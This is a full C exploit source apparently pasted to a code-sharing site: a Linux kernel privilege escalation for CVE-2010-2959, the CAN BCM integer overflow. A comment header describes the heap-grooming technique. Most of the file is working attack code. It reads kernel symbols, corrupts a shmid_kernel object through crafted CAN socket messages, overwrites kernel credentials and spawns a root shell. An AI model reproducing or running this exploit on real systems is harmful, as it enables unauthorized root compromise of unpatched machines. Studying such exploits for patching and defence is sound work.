· 6 years ago · Apr 19, 2019, 08:04 PM
1/*
2 * i-CAN-haz-MODHARDEN.c
3 *
4 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
5 * Jon Oberheide <jon@oberheide.org>
6 * http://jon.oberheide.org
7 *
8 * Information:
9 *
10 * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
11 *
12 * Ben Hawkes discovered an integer overflow in the Controller Area Network
13 * (CAN) subsystem when setting up frame content and filtering certain
14 * messages. An attacker could send specially crafted CAN traffic to crash
15 * the system or gain root privileges.
16 *
17 * Usage:
18 *
19 * $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
20 * $ ./i-can-haz-modharden
21 * ...
22 * [+] launching root shell!
23 * # id
24 * uid=0(root) gid=0(root)
25 *
26 * Notes:
27 *
28 * The allocation pattern of the CAN BCM module gives us some desirable
29 * properties for smashing the SLUB. We control the kmalloc with a 16-byte
30 * granularity allowing us to place our allocation in the SLUB cache of our
31 * choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for
32 * old-times sake). The allocation can also be made in its own discrete
33 * stage before the overwrite which allows us to be a bit more conservative
34 * in ensuring the proper layout of our SLUB cache.
35 *
36 * To exploit the vulnerability, we first create a BCM RX op with a crafted
37 * nframes to trigger the integer overflow during the kmalloc. On the second
38 * call to update the existing RX op, we bypass the E2BIG check since the
39 * stored nframes in the op is large, yet has an insufficiently sized
40 * allocation associated with it. We then have a controlled write into the
41 * adjacent shmid_kernel object in the 96-byte SLUB cache.
42 *
43 * However, while we control the length of the SLUB overwrite via a
44 * memcpy_fromiovec operation, there exists a memset operation that directly
45 * follows which zeros out last_frames, likely an adjacent allocation, with
46 * the same malformed length, effectively nullifying our shmid smash. To
47 * work around this, we take advantage of the fact that copy_from_user can
48 * perform partial writes on x86 and trigger an EFAULT by setting up a
49 * truncated memory mapping as the source for the memcpy_fromiovec operation,
50 * allowing us to smash the necessary amount of memory and then pop out and
51 * return early before the memset operation occurs.
52 *
53 * We then perform a dry-run and detect the shmid smash via an EIDRM errno
54 * from shmat() caused by an invalid ipc_perm sequence number. Once we're
55 * sure we have a shmid_kernel under our control we re-smash it with the
56 * malformed version and redirect control flow to our credential modifying
57 * calls mapped in user space.
58 *
59 * Distros: please use grsecurity's MODHARDEN or SELinux's module_request
60 * to restrict unprivileged loading of uncommon packet families. Allowing
61 * the loading of poorly-written PF modules just adds a non-trivial and
62 * unnecessary attack surface to the kernel.
63 *
64 * Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports
65 * easily to other vulnerable kernels/distros. Careful, it could use some
66 * post-exploitation stability love as well.
67 *
68 * Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that
69 * this exploit borrows code from.
70 */
71
72#include <stdio.h>
73#include <stdlib.h>
74#include <stdint.h>
75#include <string.h>
76#include <unistd.h>
77#include <errno.h>
78#include <fcntl.h>
79#include <limits.h>
80#include <inttypes.h>
81#include <sys/types.h>
82#include <sys/socket.h>
83#include <sys/ipc.h>
84#include <sys/shm.h>
85#include <sys/mman.h>
86#include <sys/stat.h>
87
88#define SLUB "kmalloc-96"
89#define ALLOCATION 96
90#define FILLER 100
91
92#ifndef PF_CAN
93#define PF_CAN 29
94#endif
95
96#ifndef CAN_BCM
97#define CAN_BCM 2
98#endif
99
100struct sockaddr_can {
101 sa_family_t can_family;
102 int can_ifindex;
103 union {
104 struct { uint32_t rx_id, tx_id; } tp;
105 } can_addr;
106};
107
108struct can_frame {
109 uint32_t can_id;
110 uint8_t can_dlc;
111 uint8_t data[8] __attribute__((aligned(8)));
112};
113
114struct bcm_msg_head {
115 uint32_t opcode;
116 uint32_t flags;
117 uint32_t count;
118 struct timeval ival1, ival2;
119 uint32_t can_id;
120 uint32_t nframes;
121 struct can_frame frames[0];
122};
123
124#define RX_SETUP 5
125#define RX_DELETE 6
126#define CFSIZ sizeof(struct can_frame)
127#define MHSIZ sizeof(struct bcm_msg_head)
128#define IPCMNI 32768
129#define EIDRM 43
130#define HDRLEN_KMALLOC 8
131
132struct list_head {
133 struct list_head *next;
134 struct list_head *prev;
135};
136
137struct super_block {
138 struct list_head s_list;
139 unsigned int s_dev;
140 unsigned long s_blocksize;
141 unsigned char s_blocksize_bits;
142 unsigned char s_dirt;
143 uint64_t s_maxbytes;
144 void *s_type;
145 void *s_op;
146 void *dq_op;
147 void *s_qcop;
148 void *s_export_op;
149 unsigned long s_flags;
150} super_block;
151
152struct mutex {
153 unsigned int count;
154 unsigned int wait_lock;
155 struct list_head wait_list;
156 void *owner;
157};
158
159struct inode {
160 struct list_head i_hash;
161 struct list_head i_list;
162 struct list_head i_sb_list;
163 struct list_head i_dentry_list;
164 unsigned long i_ino;
165 unsigned int i_count;
166 unsigned int i_nlink;
167 unsigned int i_uid;
168 unsigned int i_gid;
169 unsigned int i_rdev;
170 uint64_t i_version;
171 uint64_t i_size;
172 unsigned int i_size_seqcount;
173 long i_atime_tv_sec;
174 long i_atime_tv_nsec;
175 long i_mtime_tv_sec;
176 long i_mtime_tv_nsec;
177 long i_ctime_tv_sec;
178 long i_ctime_tv_nsec;
179 uint64_t i_blocks;
180 unsigned int i_blkbits;
181 unsigned short i_bytes;
182 unsigned short i_mode;
183 unsigned int i_lock;
184 struct mutex i_mutex;
185 unsigned int i_alloc_sem_activity;
186 unsigned int i_alloc_sem_wait_lock;
187 struct list_head i_alloc_sem_wait_list;
188 void *i_op;
189 void *i_fop;
190 struct super_block *i_sb;
191 void *i_flock;
192 void *i_mapping;
193 char i_data[84];
194 void *i_dquot_1;
195 void *i_dquot_2;
196 struct list_head i_devices;
197 void *i_pipe_union;
198 unsigned int i_generation;
199 unsigned int i_fsnotify_mask;
200 void *i_fsnotify_mark_entries;
201 struct list_head inotify_watches;
202 struct mutex inotify_mutex;
203} inode;
204
205struct dentry {
206 unsigned int d_count;
207 unsigned int d_flags;
208 unsigned int d_lock;
209 int d_mounted;
210 void *d_inode;
211 struct list_head d_hash;
212 void *d_parent;
213} dentry;
214
215struct file_operations {
216 void *owner;
217 void *llseek;
218 void *read;
219 void *write;
220 void *aio_read;
221 void *aio_write;
222 void *readdir;
223 void *poll;
224 void *ioctl;
225 void *unlocked_ioctl;
226 void *compat_ioctl;
227 void *mmap;
228 void *open;
229 void *flush;
230 void *release;
231 void *fsync;
232 void *aio_fsync;
233 void *fasync;
234 void *lock;
235 void *sendpage;
236 void *get_unmapped_area;
237 void *check_flags;
238 void *flock;
239 void *splice_write;
240 void *splice_read;
241 void *setlease;
242} op;
243
244struct vfsmount {
245 struct list_head mnt_hash;
246 void *mnt_parent;
247 void *mnt_mountpoint;
248 void *mnt_root;
249 void *mnt_sb;
250 struct list_head mnt_mounts;
251 struct list_head mnt_child;
252 int mnt_flags;
253 const char *mnt_devname;
254 struct list_head mnt_list;
255 struct list_head mnt_expire;
256 struct list_head mnt_share;
257 struct list_head mnt_slave_list;
258 struct list_head mnt_slave;
259 struct vfsmount *mnt_master;
260 struct mnt_namespace *mnt_ns;
261 int mnt_id;
262 int mnt_group_id;
263 int mnt_count;
264} vfsmount;
265
266struct file {
267 struct list_head fu_list;
268 struct vfsmount *f_vfsmnt;
269 struct dentry *f_dentry;
270 void *f_op;
271 unsigned int f_lock;
272 unsigned long f_count;
273} file;
274
275struct kern_ipc_perm {
276 unsigned int lock;
277 int deleted;
278 int id;
279 unsigned int key;
280 unsigned int uid;
281 unsigned int gid;
282 unsigned int cuid;
283 unsigned int cgid;
284 unsigned int mode;
285 unsigned int seq;
286 void *security;
287};
288
289struct shmid_kernel {
290 struct kern_ipc_perm shm_perm;
291 struct file *shm_file;
292 unsigned long shm_nattch;
293 unsigned long shm_segsz;
294 time_t shm_atim;
295 time_t shm_dtim;
296 time_t shm_ctim;
297 unsigned int shm_cprid;
298 unsigned int shm_lprid;
299 void *mlock_user;
300} shmid_kernel;
301
302typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
303typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
304_commit_creds commit_creds;
305_prepare_kernel_cred prepare_kernel_cred;
306
307int __attribute__((regparm(3)))
308kernel_code(struct file *file, void *vma)
309{
310 commit_creds(prepare_kernel_cred(0));
311 return -1;
312}
313
314unsigned long
315get_symbol(char *name)
316{
317 FILE *f;
318 unsigned long addr;
319 char dummy;
320 char sname[512];
321 int ret = 0, oldstyle;
322
323 f = fopen("/proc/kallsyms", "r");
324 if (f == NULL) {
325 f = fopen("/proc/ksyms", "r");
326 if (f == NULL)
327 return 0;
328 oldstyle = 1;
329 }
330
331 while (ret != EOF) {
332 if (!oldstyle) {
333 ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
334 } else {
335 ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
336 if (ret == 2) {
337 char *p;
338 if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
339 continue;
340 }
341 p = strrchr(sname, '_');
342 if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
343 p = p - 4;
344 while (p > (char *)sname && *(p - 1) == '_') {
345 p--;
346 }
347 *p = '\0';
348 }
349 }
350 }
351 if (ret == 0) {
352 fscanf(f, "%s\n", sname);
353 continue;
354 }
355 if (!strcmp(name, sname)) {
356 printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
357 fclose(f);
358 return addr;
359 }
360 }
361 fclose(f);
362
363 return 0;
364}
365
366int
367check_slabinfo(char *cache, int *active_out, int *total_out)
368{
369 FILE *fp;
370 char name[64], slab[256];
371 int active, total, diff;
372
373 memset(slab, 0, sizeof(slab));
374 memset(name, 0, sizeof(name));
375
376 fp = fopen("/proc/slabinfo", "r");
377 if (!fp) {
378 printf("[-] sorry, /proc/slabinfo is not available!");
379 exit(1);
380 }
381
382 fgets(slab, sizeof(slab) - 1, fp);
383 while (1) {
384 fgets(slab, sizeof(slab) - 1, fp);
385 sscanf(slab, "%s %u %u", name, &active, &total);
386 diff = total - active;
387 if (strcmp(name, cache) == 0) {
388 break;
389 }
390 }
391 fclose(fp);
392
393 if (active_out) {
394 *active_out = active;
395 }
396 if (total_out) {
397 *total_out = total;
398 }
399 return diff;
400}
401
402void
403trigger(void)
404{
405 int *shmids;
406 int i, ret, sock, cnt, base, smashed;
407 int diff, active, total, active_new, total_new;
408 int len, sock_len, mmap_len;
409 struct sockaddr_can addr;
410 struct bcm_msg_head *msg;
411 void *efault;
412 char *buf;
413
414 printf("[+] creating PF_CAN socket...\n");
415
416 sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
417 if (sock < 0) {
418 printf("[-] kernel lacks CAN packet family support\n");
419 exit(1);
420 }
421
422 printf("[+] connecting PF_CAN socket...\n");
423
424 memset(&addr, 0, sizeof(addr));
425 addr.can_family = PF_CAN;
426
427 ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
428 if (sock < 0) {
429 printf("[-] could not connect CAN socket\n");
430 exit(1);
431 }
432
433 len = MHSIZ + (CFSIZ * (ALLOCATION / 16));
434 msg = malloc(len);
435 memset(msg, 0, len);
436 msg->can_id = 2959;
437 msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;
438
439 printf("[+] clearing out any active OPs via RX_DELETE...\n");
440
441 msg->opcode = RX_DELETE;
442 ret = send(sock, msg, len, 0);
443
444 printf("[+] removing any active user-owned shmids...\n");
445
446 system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");
447
448 printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");
449
450 diff = check_slabinfo(SLUB, &active, &total);
451
452 shmids = malloc(sizeof(int) * diff * 10);
453
454 cnt = diff * 10;
455 for (i = 0; i < cnt; ++i) {
456 diff = check_slabinfo(SLUB, &active, &total);
457 if (diff == 0) {
458 break;
459 }
460 shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
461 }
462 base = i;
463
464 if (diff != 0) {
465 printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");
466 exit(1);
467 }
468
469 printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");
470
471 i = base;
472 cnt = i + FILLER;
473 for (; i < cnt; ++i) {
474 shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
475 }
476
477 msg->opcode = RX_SETUP;
478 ret = send(sock, msg, len, 0);
479 if (ret < 0) {
480 printf("[-] kernel rejected malformed CAN header\n");
481 exit(1);
482 }
483
484 i = base + FILLER;
485 cnt = i + FILLER;
486 for (; i < cnt; ++i) {
487 shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
488 }
489
490 printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
491
492 mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);
493 sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);
494 efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
495
496 printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
497
498 printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
499
500 msg = (struct bcm_msg_head *) efault;
501 memset(msg, 0, mmap_len);
502 msg->can_id = 2959;
503 msg->nframes = (ALLOCATION / 16) * 4;
504
505 msg->opcode = RX_SETUP;
506 ret = send(sock, msg, mmap_len, 0);
507 if (ret != -1 && errno != EFAULT) {
508 printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
509 exit(1);
510 }
511
512 printf("[+] seeking out the smashed shmid_kernel...\n");
513
514 i = base;
515 cnt = i + FILLER + FILLER;
516 for (; i < cnt; ++i) {
517 ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);
518 if (ret == -1 && errno == EIDRM) {
519 smashed = i;
520 break;
521 }
522 }
523 if (i == cnt) {
524 printf("[-] could not find smashed shmid, trying running the exploit again!\n");
525 exit(1);
526 }
527
528 printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);
529
530 printf("[+] re-smashing the shmid_kernel with exploit payload...\n");
531
532 shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;
533
534 buf = (char *) msg;
535 memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
536
537 msg->opcode = RX_SETUP;
538 ret = send(sock, msg, mmap_len, 0);
539 if (ret != -1 && errno != EFAULT) {
540 printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
541 exit(1);
542 }
543
544 ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);
545 if (ret == -1 && errno != EIDRM) {
546 setresuid(0, 0, 0);
547 setresgid(0, 0, 0);
548
549 printf("[+] launching root shell!\n");
550
551 execl("/bin/bash", "/bin/bash", NULL);
552 exit(0);
553 }
554
555 printf("[-] exploit failed! retry?\n");
556}
557
558void
559setup(void)
560{
561 printf("[+] looking for symbols...\n");
562
563 commit_creds = (_commit_creds) get_symbol("commit_creds");
564 if (!commit_creds) {
565 printf("[-] symbol table not availabe, aborting!\n");
566 }
567
568 prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
569 if (!prepare_kernel_cred) {
570 printf("[-] symbol table not availabe, aborting!\n");
571 }
572
573 printf("[+] setting up exploit payload...\n");
574
575 super_block.s_flags = 0;
576
577 inode.i_size = 4096;
578 inode.i_sb = &super_block;
579 inode.inotify_watches.next = &inode.inotify_watches;
580 inode.inotify_watches.prev = &inode.inotify_watches;
581 inode.inotify_mutex.count = 1;
582
583 dentry.d_count = 4096;
584 dentry.d_flags = 4096;
585 dentry.d_parent = NULL;
586 dentry.d_inode = &inode;
587
588 op.mmap = &kernel_code;
589 op.get_unmapped_area = &kernel_code;
590
591 vfsmount.mnt_flags = 0;
592 vfsmount.mnt_count = 1;
593
594 file.fu_list.prev = &file.fu_list;
595 file.fu_list.next = &file.fu_list;
596 file.f_dentry = &dentry;
597 file.f_vfsmnt = &vfsmount;
598 file.f_op = &op;
599
600 shmid_kernel.shm_perm.key = IPC_PRIVATE;
601 shmid_kernel.shm_perm.uid = getuid();
602 shmid_kernel.shm_perm.gid = getgid();
603 shmid_kernel.shm_perm.cuid = getuid();
604 shmid_kernel.shm_perm.cgid = getgid();
605 shmid_kernel.shm_perm.mode = -1;
606 shmid_kernel.shm_file = &file;
607}
608
609int
610main(int argc, char **argv)
611{
612 setup();
613 trigger();
614 return 0;
615}